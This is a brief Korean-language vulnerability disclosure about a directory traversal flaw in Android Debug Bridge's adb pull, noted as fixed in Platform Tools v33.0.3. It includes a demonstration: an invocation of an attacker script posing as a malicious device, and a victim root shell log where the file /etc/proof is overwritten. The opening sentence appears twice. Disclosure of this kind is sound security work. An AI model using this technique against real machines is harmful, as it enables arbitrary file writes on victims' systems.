
Android Debug Bridge (adb)는 adb pull 작업 중에 악성/손상된 adb 데몬이 실행할 수 있는 디렉토리 트래버설 공격에 취약했습니다.
Android Debug Bridge (adb)는 adb pull 작업 중에 악의적이거나 손상된 adb 데몬에 의해 수행될 수 있는 디렉터리 트래버설 공격에 취약했습니다.
악성 장치:
./adbdirtrav.py -lp 5111 --content "hello world" --destination-path /etc/proof
피해자:
root@eedd4cb8b202:/tmp/platform-tools# cat /etc/proof
cat: /etc/proof: No such file or directory
root@eedd4cb8b202:/tmp/platform-tools# ./adb connect 10.6.8.145:5111
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 10.6.8.145:5111
root@eedd4cb8b202:/tmp/platform-tools# ./adb devices
List of devices attached
10.6.8.145:5111 device
root@eedd4cb8b202:/tmp/platform-tools# ./adb pull /data/local/tmp/1 /tmp/sdfsdf
/data/local/tmp/1/: 1 file pulled, 0 skipped. 0.0 MB/s (11 bytes in 0.150s)
root@eedd4cb8b202:/tmp/platform-tools# cat /etc/proof
hello world
이 문제는 Platform Tools v33.0.3에서 수정되었습니다.